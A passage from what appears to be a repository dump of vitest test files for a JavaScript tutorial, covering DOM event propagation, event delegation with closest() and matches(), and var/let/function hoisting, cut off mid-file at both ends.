expect(handlers).toContain(2)\n    })\n  })\n\n  // ============================================================\n  // THE eventPhase PROPERTY\n  // From lines ~190-230\n  // ============================================================\n\n  describe('The eventPhase Property', () => {\n    // From lines ~195-205: eventPhase values\n    it('should return correct eventPhase values during propagation', () => {\n      const parent = document.createElement('div')\n      parent.className = 'parent'\n      \n      const child = document.createElement('button')\n      child.className = 'child'\n      \n      parent.appendChild(child)\n      container.appendChild(parent)\n\n      const phases = []\n\n      // Capture phase listener on parent\n      parent.addEventListener('click', (e) => {\n        phases.push({ element: 'parent-capture', phase: e.eventPhase })\n      }, true)\n\n      // Bubble phase listener on parent\n      parent.addEventListener('click', (e) => {\n        phases.push({ element: 'parent-bubble', phase: e.eventPhase })\n      })\n\n      // Target listener on child\n      child.addEventListener('click', (e) => {\n        phases.push({ element: 'child', phase: e.eventPhase })\n      })\n\n      child.click()\n\n      // eventPhase: 1 = CAPTURING, 2 = AT_TARGET, 3 = BUBBLING\n      expect(phases).toEqual([\n        { element: 'parent-capture', phase: 1 },  // CAPTURING_PHASE\n        { element: 'child', phase: 2 },           // AT_TARGET\n        { element: 'parent-bubble', phase: 3 }    // BUBBLING_PHASE\n      ])\n    })\n\n    // From lines ~220-230: Both handlers fire at target when clicking directly\n    it('should report AT_TARGET phase for both capture and bubble on clicked element', () => {\n      const element = document.createElement('div')\n      element.className = 'parent'\n      container.appendChild(element)\n\n      const phases = []\n\n      element.addEventListener('click', (e) => {\n        phases.push({ handler: 'capture', phase: e.eventPhase })\n      }, true)\n\n      element.addEventListener('click', (e) => {\n        phases.push({ handler: 'bubble', phase: e.eventPhase })\n      })\n\n      // Click the element directly (not a child)\n      element.click()\n\n      // Both are AT_TARGET (2) when clicking the element itself\n      expect(phases).toEqual([\n        { handler: 'capture', phase: 2 },\n        { handler: 'bubble', phase: 2 }\n      ])\n    })\n  })\n\n  // ============================================================\n  // event.target vs event.currentTarget\n  // From lines ~235-275\n  // ============================================================\n\n  describe('event.target vs event.currentTarget', () => {\n    // From lines ~240-255: target vs currentTarget difference\n    it('should distinguish target from currentTarget during bubbling', () => {\n      const parent = document.createElement('div')\n      parent.className = 'parent'\n      \n      const child = document.createElement('button')\n      child.className = 'child'\n      \n      parent.appendChild(child)\n      container.appendChild(parent)\n\n      let capturedTarget = null\n      let capturedCurrentTarget = null\n\n      parent.addEventListener('click', (e) => {\n        capturedTarget = e.target.className\n        capturedCurrentTarget = e.currentTarget.className\n      })\n\n      // Click the child, handler is on parent\n      child.click()\n\n      expect(capturedTarget).toBe('child')         // What was clicked\n      expect(capturedCurrentTarget).toBe('parent') // Where listener is\n    })\n\n    // From lines ~260-275: Using closest() for delegation\n    it('should find correct element using closest() in delegated handler', () => {\n      const list = document.createElement('ul')\n      list.className = 'list'\n      \n      const item1 = document.createElement('li')\n      item1.innerHTML = '<span>Item 1</span>'\n      \n      const item2 = document.createElement('li')\n      item2.innerHTML = '<span>Item 2</span>'\n      \n      list.appendChild(item1)\n      list.appendChild(item2)\n      container.appendChild(list)\n\n      const clickedItems = []\n\n      list.addEventListener('click', (e) => {\n        const listItem = e.target.closest('li')\n        if (listItem) {\n          clickedItems.push(listItem.textContent)\n        }\n      })\n\n      // Click the span inside item1 (not the li directly)\n      item1.querySelector('span').click()\n\n      expect(clickedItems).toEqual(['Item 1'])\n    })\n  })\n\n  // ============================================================\n  // STOPPING EVENT PROPAGATION\n  // From lines ~280-360\n  // ============================================================\n\n  describe('Stopping Event Propagation', () => {\n    // From lines ~285-310: stopPropagation allows same-element handlers\n    it('should stop propagation but allow other handlers on same element', () => {\n      const parent = document.createElement('div')\n      parent.className = 'parent'\n      \n      const child = document.createElement('button')\n      child.className = 'child'\n      \n      parent.appendChild(child)\n      container.appendChild(parent)\n\n      const output = []\n\n      parent.addEventListener('click', () => {\n        output.push('Parent handler')\n      })\n\n      child.addEventListener('click', (e) => {\n        output.push('Child handler 1')\n        e.stopPropagation()\n      })\n\n      child.addEventListener('click', () => {\n        output.push('Child handler 2')\n      })\n\n      child.click()\n\n      // stopPropagation stops parent but not other child handlers\n      expect(output).toEqual([\n        'Child handler 1',\n        'Child handler 2'\n      ])\n      expect(output).not.toContain('Parent handler')\n    })\n\n    // From lines ~315-335: stopImmediatePropagation stops everything\n    it('should stop all handlers including same element with stopImmediatePropagation', () => {\n      const child = document.createElement('button')\n      child.className = 'child'\n      container.appendChild(child)\n\n      const output = []\n\n      child.addEventListener('click', (e) => {\n        output.push('Child handler 1')\n        e.stopImmediatePropagation()\n      })\n\n      child.addEventListener('click', () => {\n        output.push('Child handler 2')\n      })\n\n      child.click()\n\n      expect(output).toEqual(['Child handler 1'])\n      expect(output).not.toContain('Child handler 2')\n    })\n\n    // From lines ~340-360: stopPropagation vs preventDefault\n    it('should distinguish stopPropagation from preventDefault', () => {\n      const parent = document.createElement('div')\n      const link = document.createElement('a')\n      link.href = 'https://example.com'\n      link.textContent = 'Click me'\n      \n      parent.appendChild(link)\n      container.appendChild(parent)\n\n      let parentHandlerFired = false\n      let defaultPrevented = false\n\n      parent.addEventListener('click', () => {\n        parentHandlerFired = true\n      })\n\n      link.addEventListener('click', (e) => {\n        e.preventDefault()  // Stop navigation\n        defaultPrevented = e.defaultPrevented\n        // NOT calling stopPropagation - event should still bubble\n      })\n\n      link.click()\n\n      // preventDefault stops default action, not bubbling\n      expect(defaultPrevented).toBe(true)\n      expect(parentHandlerFired).toBe(true)  // Event still bubbled\n    })\n\n    it('should stop bubbling with stopPropagation but not prevent default', () => {\n      const parent = document.createElement('div')\n      const link = document.createElement('a')\n      link.href = 'https://example.com'\n      \n      parent.appendChild(link)\n      container.appendChild(parent)\n\n      let parentHandlerFired = false\n\n      parent.addEventListener('click', () => {\n        parentHandlerFired = true\n      })\n\n      link.addEventListener('click', (e) => {\n        e.stopPropagation()  // Stop bubbling\n        // NOT calling preventDefault - default would happen (if not jsdom)\n      })\n\n      link.click()\n\n      // stopPropagation stops bubbling\n      expect(parentHandlerFired).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // EVENTS THAT DON'T BUBBLE\n  // From lines ~380-420\n  // ============================================================\n\n  describe('Events That Don\\'t Bubble', () => {\n    // From lines ~385-395: focus doesn't bubble\n    it('should not bubble focus events', () => {\n      const form = document.createElement('form')\n      const input = document.createElement('input')\n      input.type = 'text'\n      \n      form.appendChild(input)\n      container.appendChild(form)\n\n      let formFocusFired = false\n\n      form.addEventListener('focus', () => {\n        formFocusFired = true\n      })\n\n      input.focus()\n\n      // focus doesn't bubble\n      expect(formFocusFired).toBe(false)\n    })\n\n    // From lines ~395-405: focusin does bubble\n    it('should bubble focusin events (alternative to focus)', () => {\n      const form = document.createElement('form')\n      const input = document.createElement('input')\n      input.type = 'text'\n      \n      form.appendChild(input)\n      container.appendChild(form)\n\n      let formFocusinFired = false\n\n      form.addEventListener('focusin', () => {\n        formFocusinFired = true\n      })\n\n      input.focus()\n\n      // focusin DOES bubble\n      expect(formFocusinFired).toBe(true)\n    })\n\n    // From lines ~410-420: checking bubbles property\n    it('should allow checking if event bubbles via bubbles property', () => {\n      // Use an input element since it's focusable\n      const input = document.createElement('input')\n      input.type = 'text'\n      container.appendChild(input)\n\n      let clickBubbles = null\n      let focusBubbles = null\n\n      input.addEventListener('click', (e) => {\n        clickBubbles = e.bubbles\n      })\n\n      input.addEventListener('focus', (e) => {\n        focusBubbles = e.bubbles\n      })\n\n      input.click()\n      input.focus()\n\n      expect(clickBubbles).toBe(true)\n      expect(focusBubbles).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // WHEN TO USE CAPTURING\n  // From lines ~425-470\n  // ============================================================\n\n  describe('When to Use Capturing', () => {\n    // From lines ~430-440: Intercepting events before target\n    it('should intercept events before they reach target using capture', () => {\n      const output = []\n      \n      const button = document.createElement('button')\n      container.appendChild(button)\n\n      // Capture listener on document logs first\n      document.addEventListener('click', () => {\n        output.push('Document captured click')\n      }, true)\n\n      button.addEventListener('click', () => {\n        output.push('Button clicked')\n      })\n\n      button.click()\n\n      expect(output[0]).toBe('Document captured click')\n      expect(output[1]).toBe('Button clicked')\n      \n      // Cleanup\n      document.removeEventListener('click', () => {}, true)\n    })\n\n    // From lines ~445-460: Cancel all clicks pattern\n    it('should block events using capture phase', () => {\n      let disableClicks = true\n      const output = []\n\n      const button = document.createElement('button')\n      container.appendChild(button)\n\n      // Capture handler that can block\n      const blocker = (e) => {\n        if (disableClicks) {\n          e.stopPropagation()\n          output.push('Click blocked!')\n        }\n      }\n      \n      container.addEventListener('click', blocker, true)\n\n      button.addEventListener('click', () => {\n        output.push('Button clicked')\n      })\n\n      // With disableClicks = true, click is blocked\n      button.click()\n      expect(output).toEqual(['Click blocked!'])\n\n      // Enable clicks\n      disableClicks = false\n      output.length = 0\n      button.click()\n      expect(output).toEqual(['Button clicked'])\n    })\n  })\n\n  // ============================================================\n  // COMMON MISTAKES\n  // From lines ~475-530\n  // ============================================================\n\n  describe('Common Mistakes', () => {\n    // From lines ~480-495: Forgetting capture when removing listeners\n    it('should fail to remove listener if capture flag mismatches', () => {\n      const element = document.createElement('button')\n      container.appendChild(element)\n\n      let callCount = 0\n      const handler = () => callCount++\n\n      // Add with capture: true\n      element.addEventListener('click', handler, true)\n      \n      // Try to remove without capture (wrong!)\n      element.removeEventListener('click', handler)\n      \n      // Handler still attached\n      element.click()\n      expect(callCount).toBe(1)\n\n      // Correct removal with matching capture flag\n      element.removeEventListener('click', handler, true)\n      element.click()\n      expect(callCount).toBe(1)  // No additional calls\n    })\n\n    // From lines ~510-530: Using correct property (target vs currentTarget)\n    it('should use closest() instead of just target for delegation', () => {\n      const list = document.createElement('ul')\n      \n      const item = document.createElement('li')\n      const span = document.createElement('span')\n      span.textContent = 'Click me'\n      span.className = 'inner'\n      item.className = 'item'\n      \n      item.appendChild(span)\n      list.appendChild(item)\n      container.appendChild(list)\n\n      let wrongSelection = null\n      let correctSelection = null\n\n      list.addEventListener('click', (e) => {\n        // Wrong: might select the span, not the li\n        wrongSelection = e.target.className\n        \n        // Correct: find the actual list item\n        const listItem = e.target.closest('li')\n        correctSelection = listItem ? listItem.className : null\n      })\n\n      // Click the span inside the li\n      span.click()\n\n      expect(wrongSelection).toBe('inner')      // Got the span\n      expect(correctSelection).toBe('item')     // Got the li\n    })\n  })\n\n  // ============================================================\n  // MULTIPLE HANDLERS ORDER\n  // ============================================================\n\n  describe('Handler Execution Order', () => {\n    it('should execute same-element handlers in registration order', () => {\n      const element = document.createElement('div')\n      container.appendChild(element)\n\n      const output = []\n\n      element.addEventListener('click', () => output.push(1))\n      element.addEventListener('click', () => output.push(2))\n      element.addEventListener('click', () => output.push(3))\n\n      element.click()\n\n      expect(output).toEqual([1, 2, 3])\n    })\n\n    it('should execute capturing handlers before bubbling handlers at any level', () => {\n      const grandparent = document.createElement('div')\n      const parent = document.createElement('div')\n      const child = document.createElement('button')\n\n      parent.appendChild(child)\n      grandparent.appendChild(parent)\n      container.appendChild(grandparent)\n\n      const output = []\n\n      // Mix of capture and bubble handlers\n      grandparent.addEventListener('click', () => output.push('GP-capture'), true)\n      parent.addEventListener('click', () => output.push('P-capture'), true)\n      grandparent.addEventListener('click', () => output.push('GP-bubble'))\n      parent.addEventListener('click', () => output.push('P-bubble'))\n      child.addEventListener('click', () => output.push('Child'))\n\n      child.click()\n\n      // Capture phase (down): GP → P\n      // Target phase: Child\n      // Bubble phase (up): P → GP\n      expect(output).toEqual([\n        'GP-capture',\n        'P-capture',\n        'Child',\n        'P-bubble',\n        'GP-bubble'\n      ])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/events/event-delegation/event-delegation.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n/**\n * Tests for Event Delegation concept page\n * Source: docs/beyond/concepts/event-delegation.mdx\n */\n\ndescribe('Event Delegation', () => {\n  let container\n\n  beforeEach(() => {\n    // Set up a fresh DOM container for each test\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n\n  afterEach(() => {\n    // Clean up after each test\n    document.body.removeChild(container)\n    container = null\n  })\n\n  describe('event.target vs event.currentTarget', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:78-85\n    it('should demonstrate target vs currentTarget difference', () => {\n      // Set up nested structure\n      container.innerHTML = `\n        <ul id=\"menu\">\n          <li>\n            <button id=\"test-button\">Click</button>\n          </li>\n        </ul>\n      `\n\n      const menu = document.getElementById('menu')\n      const button = document.getElementById('test-button')\n      \n      let capturedTarget = null\n      let capturedCurrentTarget = null\n\n      menu.addEventListener('click', (event) => {\n        capturedTarget = event.target\n        capturedCurrentTarget = event.currentTarget\n      })\n\n      // Simulate click on the button\n      button.click()\n\n      // target is the button (what was clicked)\n      expect(capturedTarget).toBe(button)\n      expect(capturedTarget.tagName).toBe('BUTTON')\n      \n      // currentTarget is the ul (where listener is attached)\n      expect(capturedCurrentTarget).toBe(menu)\n      expect(capturedCurrentTarget.tagName).toBe('UL')\n    })\n\n    // Source: docs/beyond/concepts/event-delegation.mdx:87-102\n    it('should show target changes based on click location while currentTarget stays constant', () => {\n      container.innerHTML = `\n        <div id=\"outer\">\n          <p id=\"para\">\n            <span id=\"inner\">Click me</span>\n          </p>\n        </div>\n      `\n\n      const outer = document.getElementById('outer')\n      const span = document.getElementById('inner')\n      const para = document.getElementById('para')\n      \n      const targets = []\n      const currentTargets = []\n\n      outer.addEventListener('click', (event) => {\n        targets.push(event.target)\n        currentTargets.push(event.currentTarget)\n      })\n\n      // Click the span\n      span.click()\n      expect(targets[0]).toBe(span)\n      expect(currentTargets[0]).toBe(outer)\n\n      // Click the paragraph\n      para.click()\n      expect(targets[1]).toBe(para)\n      expect(currentTargets[1]).toBe(outer) // Always outer\n    })\n  })\n\n  describe('Element.matches() for filtering', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:104-130\n    it('should filter events using matches()', () => {\n      container.innerHTML = `\n        <div class=\"container\">\n          <button class=\"btn\">Regular</button>\n          <button class=\"btn delete-btn\">Delete</button>\n          <button class=\"btn primary\" disabled>Disabled Primary</button>\n          <button class=\"btn primary\">Enabled Primary</button>\n          <span data-action=\"test\">Not a button</span>\n        </div>\n      `\n\n      const containerEl = container.querySelector('.container')\n      const results = []\n\n      containerEl.addEventListener('click', (event) => {\n        if (event.target.matches('button')) {\n          results.push('button')\n        }\n        if (event.target.matches('.delete-btn')) {\n          results.push('delete')\n        }\n        if (event.target.matches('[data-action]')) {\n          results.push('action: ' + event.target.dataset.action)\n        }\n        if (event.target.matches('button.primary:not(:disabled)')) {\n          results.push('enabled-primary')\n        }\n      })\n\n      // Click delete button\n      container.querySelector('.delete-btn').click()\n      expect(results).toContain('button')\n      expect(results).toContain('delete')\n\n      // Reset and click span with data-action\n      results.length = 0\n      container.querySelector('[data-action]').click()\n      expect(results).toContain('action: test')\n      expect(results).not.toContain('button')\n\n      // Reset and click enabled primary button\n      results.length = 0\n      container.querySelector('button.primary:not(:disabled)').click()\n      expect(results).toContain('button')\n      expect(results).toContain('enabled-primary')\n    })\n  })\n\n  describe('Element.closest() for nested elements', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:132-162\n    it('should find ancestor elements using closest()', () => {\n      container.innerHTML = `\n        <div class=\"container\">\n          <button class=\"action-btn\">\n            <i class=\"icon\" id=\"icon-element\">icon</i>\n            <span id=\"span-element\">Delete</span>\n          </button>\n        </div>\n      `\n\n      const containerEl = container.querySelector('.container')\n      const icon = document.getElementById('icon-element')\n      const span = document.getElementById('span-element')\n      const button = container.querySelector('.action-btn')\n      \n      let foundButton = null\n\n      containerEl.addEventListener('click', (event) => {\n        // Use closest to find the button, regardless of what was clicked\n        foundButton = event.target.closest('.action-btn')\n      })\n\n      // Click the icon inside the button\n      icon.click()\n      expect(foundButton).toBe(button)\n\n      // Click the span inside the button\n      foundButton = null\n      span.click()\n      expect(foundButton).toBe(button)\n\n      // Click the button itself\n      foundButton = null\n      button.click()\n      expect(foundButton).toBe(button)\n    })\n\n    it('should return null when no ancestor matches', () => {\n      container.innerHTML = `\n        <div class=\"container\">\n          <span class=\"outside\">Outside</span>\n          <button class=\"action-btn\">Inside</button>\n        </div>\n      `\n\n      const containerEl = container.querySelector('.container')\n      const outside = container.querySelector('.outside')\n      \n      let foundButton = null\n\n      containerEl.addEventListener('click', (event) => {\n        foundButton = event.target.closest('.action-btn')\n      })\n\n      outside.click()\n      expect(foundButton).toBeNull()\n    })\n  })\n\n  describe('Basic event delegation pattern', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:188-215\n    it('should handle clicks on list items with delegation', () => {\n      container.innerHTML = `\n        <ul id=\"todo-list\">\n          <li data-id=\"1\">Buy groceries</li>\n          <li data-id=\"2\">Walk the dog</li>\n          <li data-id=\"3\">Finish report</li>\n        </ul>\n      `\n\n      const todoList = document.getElementById('todo-list')\n      const clickedIds = []\n\n      todoList.addEventListener('click', (event) => {\n        const item = event.target.closest('li')\n        if (item) {\n          clickedIds.push(item.dataset.id)\n          item.classList.toggle('completed')\n        }\n      })\n\n      // Click first item\n      container.querySelector('li[data-id=\"1\"]').click()\n      expect(clickedIds).toContain('1')\n      expect(container.querySelector('li[data-id=\"1\"]').classList.contains('completed')).toBe(true)\n\n      // Click second item\n      container.querySelector('li[data-id=\"2\"]').click()\n      expect(clickedIds).toContain('2')\n\n      // Click first item again to toggle off\n      container.querySelector('li[data-id=\"1\"]').click()\n      expect(container.querySelector('li[data-id=\"1\"]').classList.contains('completed')).toBe(false)\n    })\n  })\n\n  describe('Handling dynamic elements', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:221-262\n    it('should automatically handle dynamically added elements', () => {\n      container.innerHTML = `<ul id=\"todo-list\"></ul>`\n\n      const todoList = document.getElementById('todo-list')\n      const clickedTexts = []\n\n      // Set up delegation BEFORE adding items\n      todoList.addEventListener('click', (event) => {\n        if (event.target.matches('li')) {\n          clickedTexts.push(event.target.textContent)\n          event.target.classList.toggle('completed')\n        }\n      })\n\n      // Add items dynamically\n      function addTodo(text) {\n        const li = document.createElement('li')\n        li.textContent = text\n        todoList.appendChild(li)\n      }\n\n      addTodo('First task')\n      addTodo('Second task')\n      addTodo('Third task')\n\n      // Click dynamically added items - they should work!\n      const items = todoList.querySelectorAll('li')\n      items[0].click()\n      items[1].click()\n\n      expect(clickedTexts).toEqual(['First task', 'Second task'])\n      expect(items[0].classList.contains('completed')).toBe(true)\n      expect(items[1].classList.contains('completed')).toBe(true)\n      expect(items[2].classList.contains('completed')).toBe(false)\n    })\n  })\n\n  describe('Action buttons with data-action pattern', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:308-334\n    it('should dispatch to correct action based on data-action attribute', () => {\n      container.innerHTML = `\n        <div id=\"toolbar\">\n          <button data-action=\"save\">Save</button>\n          <button data-action=\"load\">Load</button>\n          <button data-action=\"delete\">Delete</button>\n        </div>\n      `\n\n      const executedActions = []\n      const actions = {\n        save() { executedActions.push('save') },\n        load() { executedActions.push('load') },\n        delete() { executedActions.push('delete') }\n      }\n\n      const toolbar = document.getElementById('toolbar')\n      toolbar.addEventListener('click', (event) => {\n        const action = event.target.dataset.action\n        if (action && actions[action]) {\n          actions[action]()\n        }\n      })\n\n      // Click save button\n      container.querySelector('[data-action=\"save\"]').click()\n      expect(executedActions).toEqual(['save'])\n\n      // Click delete button\n      container.querySelector('[data-action=\"delete\"]').click()\n      expect(executedActions).toEqual(['save', 'delete'])\n\n      // Click load button\n      container.querySelector('[data-action=\"load\"]').click()\n      expect(executedActions).toEqual(['save', 'delete', 'load'])\n    })\n  })\n\n  describe('Tab interface pattern', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:336-361\n    it('should switch tabs using delegation', () => {\n      container.innerHTML = `\n        <div class=\"tabs\">\n          <button class=\"tab\" data-tab=\"home\">Home</button>\n          <button class=\"tab\" data-tab=\"profile\">Profile</button>\n          <button class=\"tab\" data-tab=\"settings\">Settings</button>\n        </div>\n        <div class=\"tab-content\" id=\"home\">Home content</div>\n        <div class=\"tab-content\" id=\"profile\" hidden>Profile content</div>\n        <div class=\"tab-content\" id=\"settings\" hidden>Settings content</div>\n      `\n\n      const tabsContainer = container.querySelector('.tabs')\n      \n      tabsContainer.addEventListener('click', (event) => {\n        const tab = event.target.closest('.tab')\n        if (!tab) return\n\n        // Remove active class from all tabs\n        container.querySelectorAll('.tab').forEach(t => t.classList.remove('active'))\n        tab.classList.add('active')\n\n        // Hide all content, show selected\n        const tabId = tab.dataset.tab\n        container.querySelectorAll('.tab-content').forEach(content => {\n          content.hidden = content.id !== tabId\n        })\n      })\n\n      // Click profile tab\n      container.querySelector('[data-tab=\"profile\"]').click()\n      \n      expect(container.querySelector('[data-tab=\"profile\"]').classList.contains('active')).toBe(true)\n      expect(container.querySelector('[data-tab=\"home\"]').classList.contains('active')).toBe(false)\n      expect(document.getElementById('profile').hidden).toBe(false)\n      expect(document.getElementById('home').hidden).toBe(true)\n      expect(document.getElementById('settings').hidden).toBe(true)\n\n      // Click settings tab\n      container.querySelector('[data-tab=\"settings\"]').click()\n      \n      expect(container.querySelector('[data-tab=\"settings\"]').classList.contains('active')).toBe(true)\n      expect(container.querySelector('[data-tab=\"profile\"]').classList.contains('active')).toBe(false)\n      expect(document.getElementById('settings').hidden).toBe(false)\n      expect(document.getElementById('profile').hidden).toBe(true)\n    })\n  })\n\n  describe('Container boundary verification', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:468-482\n    it('should verify element is within container using contains()', () => {\n      container.innerHTML = `\n        <table id=\"outer-table\">\n          <tr>\n            <td>\n              Outer cell\n              <table id=\"inner-table\">\n                <tr><td id=\"inner-cell\">Inner cell</td></tr>\n              </table>\n            </td>\n          </tr>\n          <tr><td id=\"outer-cell\">Real outer cell</td></tr>\n        </table>\n      `\n\n      const outerTable = document.getElementById('outer-table')\n      const innerCell = document.getElementById('inner-cell')\n      const outerCell = document.getElementById('outer-cell')\n      \n      const handledCells = []\n\n      outerTable.addEventListener('click', (event) => {\n        const td = event.target.closest('td')\n        \n        // Only handle cells that are direct children of outer table\n        // Using a more specific check\n        if (td && td.closest('table') === outerTable) {\n          handledCells.push(td.id || 'unnamed')\n        }\n      })\n\n      // Click inner cell - should NOT be handled (belongs to inner table)\n      innerCell.click()\n      expect(handledCells).not.toContain('inner-cell')\n\n      // Click outer cell - should be handled\n      outerCell.click()\n      expect(handledCells).toContain('outer-cell')\n    })\n  })\n\n  describe('focusin/focusout delegation (bubbling alternatives)', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:444-461\n    it('should delegate focus events using focusin/focusout', () => {\n      container.innerHTML = `\n        <form class=\"form\">\n          <input type=\"text\" id=\"input1\" />\n          <input type=\"email\" id=\"input2\" />\n        </form>\n      `\n\n      const form = container.querySelector('.form')\n      const input1 = document.getElementById('input1')\n      const input2 = document.getElementById('input2')\n      \n      const focusedInputs = []\n      const blurredInputs = []\n\n      // focusin and focusout bubble, unlike focus and blur\n      form.addEventListener('focusin', (event) => {\n        if (event.target.matches('input')) {\n          event.target.classList.add('focused')\n          focusedInputs.push(event.target.id)\n        }\n      })\n\n      form.addEventListener('focusout', (event) => {\n        if (event.target.matches('input')) {\n          event.target.classList.remove('focused')\n          blurredInputs.push(event.target.id)\n        }\n      })\n\n      // Focus first input\n      input1.focus()\n      expect(focusedInputs).toContain('input1')\n      expect(input1.classList.contains('focused')).toBe(true)\n\n      // Focus second input (should blur first)\n      input2.focus()\n      expect(focusedInputs).toContain('input2')\n      expect(blurredInputs).toContain('input1')\n      expect(input2.classList.contains('focused')).toBe(true)\n      expect(input1.classList.contains('focused')).toBe(false)\n    })\n  })\n\n  describe('Common mistakes', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:519-530\n    describe('Mistake 1: Not using closest() for nested elements', () => {\n      it('should demonstrate why matches() alone fails with nested elements', () => {\n        container.innerHTML = `\n          <div class=\"container\">\n            <button class=\"btn\">\n              <span class=\"icon\">X</span>\n              <span class=\"text\">Delete</span>\n            </button>\n          </div>\n        `\n\n        const containerEl = container.querySelector('.container')\n        const icon = container.querySelector('.icon')\n        \n        let matchesFound = false\n        let closestFound = null\n\n        containerEl.addEventListener('click', (event) => {\n          // Wrong way - matches() returns false for child elements\n          matchesFound = event.target.matches('.btn')\n          \n          // Right way - closest() finds the button ancestor\n          closestFound = event.target.closest('.btn')\n        })\n\n        // Click on the icon inside the button\n        icon.click()\n\n        // matches() fails because icon is not .btn\n        expect(matchesFound).toBe(false)\n        \n        // closest() succeeds by traversing up to find .btn\n        expect(closestFound).not.toBeNull()\n        expect(closestFound.classList.contains('btn')).toBe(true)\n      })\n    })\n  })\n\n  describe('Performance comparison', () => {\n    // Source: docs/beyond/concepts/event-delegation.mdx:409-425\n    it('should handle many elements with single listener', () => {\n      // Create 100 items\n      container.innerHTML = '<ul class=\"list\"></ul>'\n      const list = container.querySelector('.list')\n      \n      for (let i = 0; i < 100; i++) {\n        const li = document.createElement('li')\n        li.className = 'item'\n        li.dataset.id = i.toString()\n        li.textContent = `Item ${i}`\n        list.appendChild(li)\n      }\n\n      const clickedItems = []\n\n      // Single delegated listener handles all items\n      list.addEventListener('click', (event) => {\n        if (event.target.matches('.item')) {\n          clickedItems.push(event.target.dataset.id)\n        }\n      })\n\n      // Click various items\n      list.querySelector('[data-id=\"0\"]').click()\n      list.querySelector('[data-id=\"50\"]').click()\n      list.querySelector('[data-id=\"99\"]').click()\n\n      expect(clickedItems).toEqual(['0', '50', '99'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/language-mechanics/hoisting/hoisting.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Hoisting', () => {\n  describe('Variable Hoisting with var', () => {\n    it('should hoist var declarations and initialize to undefined', () => {\n      function example() {\n        const before = greeting\n        var greeting = \"Hello\"\n        const after = greeting\n        return { before, after }\n      }\n\n      const result = example()\n      expect(result.before).toBe(undefined)\n      expect(result.after).toBe(\"Hello\")\n    })\n\n    it('should hoist var to function scope, not block scope', () => {\n      function example() {\n        if (true) {\n          var message = \"Inside block\"\n        }\n        return message\n      }\n\n      expect(example()).toBe(\"Inside block\")\n    })\n\n    it('should hoist multiple var declarations', () => {\n      function example() {\n        const first = x\n        var x = 1\n        const second = x\n        var x = 2\n        const third = x\n        return { first, second, third }\n      }\n\n      const result = example()\n      expect(result.first).toBe(undefined)\n      expect(result.second).toBe(1)\n      expect(result.third).toBe(2)\n    })\n\n    it('should allow var redeclaration without error', () => {\n      var name = \"Alice\"\n      var name = \"Bob\"\n      var name = \"Charlie\"\n      \n      expect(name).toBe(\"Charlie\")\n    })\n  })\n\n  describe('let and const: Temporal Dead Zone', () => {\n    it('should throw ReferenceError when accessing let before declaration', () => {\n      expect(() => {\n        eval(`\n          const before = x\n          let x = 10\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should throw ReferenceError when accessing const before declaration', () => {\n      expect(() => {\n        eval(`\n          const before = y\n          const y = 20\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should demonstrate that let IS hoisted by shadowing outer variable', () => {\n      const outer = \"outer\"\n      \n      expect(() => {\n        eval(`\n          {\n            // If inner 'x' wasn't hoisted, this would access outer 'x'\n            // But we get ReferenceError, proving inner 'x' shadows outer from block start\n            const value = outer\n            let outer = \"inner\"\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should work after declaration line is reached', () => {\n      let x\n      x = 10\n      expect(x).toBe(10)\n      \n      const y = 20\n      expect(y).toBe(20)\n    })\n\n    it('should have separate TDZ for each block', () => {\n      let x = \"outer\"\n      \n      {\n        // New TDZ for this block's x\n        let x = \"inner1\"\n        expect(x).toBe(\"inner1\")\n      }\n      \n      {\n        // Another new TDZ for this block's x\n        let x = \"inner2\"\n        expect(x).toBe(\"inner2\")\n      }\n      \n      expect(x).toBe(\"outer\")\n    })\n  })\n\n  describe('Function Declaration Hoisting', () => {\n    it('should fully hoist function declarations', () => {\n      // Can call before declaration\n      const result = add(2, 3)\n      \n      function add(a, b) {\n        return a + b\n      }\n      \n      expect(result).toBe(5)\n    })\n\n    it('should hoist function declarations in any order', () => {\n      // Both functions can reference each other\n      function isEven(n) {\n        if (n === 0) return true\n        return isOdd(n - 1)\n      }\n      \n      function isOdd(n) {\n        if (n === 0) return false\n        return isEven(n - 1)\n      }\n      \n      expect(isEven(4)).toBe(true)\n      expect(isOdd(3)).toBe(true)\n      expect(isEven(3)).toBe(false)\n      expect(isOdd(4)).toBe(false)\n    })\n\n    it('should hoist function inside blocks (in non-strict mode behavior)', () => {\n      // Function declared inside block\n      function example() {\n        if (true) {\n          function inner() {\n            return \"inner\"\n          }\n          return inner()\n        }\n      }\n      \n      expect(example()).toBe(\"inner\")\n    })\n  })\n\n  describe('Function Expression Hoisting', () => {\n    it('should throw TypeError for var function expression called before assignment', () => {\n      expect(() => {\n        eval(`\n          greet()\n          var greet = function() { return \"Hello\" }\n        `)\n      }).toThrow(TypeError)\n    })\n\n    it('should throw ReferenceError for let/const function expression in TDZ', () => {\n      expect(() => {\n        eval(`\n          greet()\n          const greet = function() { return \"Hello\" }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should work after assignment for var function expression', () => {\n      var greet\n      expect(greet).toBe(undefined)\n      \n      greet = function() {\n        return \"Hello\"\n      }\n      \n      expect(greet()).toBe(\"Hello\")\n    })\n\n    it('should work after declaration for const function expression', () => {\n      const greet = function() {\n        return \"Hello\"\n      }\n      \n      expect(greet()).toBe(\"Hello\")\n    })\n  })\n\n  describe('Arrow Function Hoisting', () => {\n    it('should throw ReferenceError for arrow function in 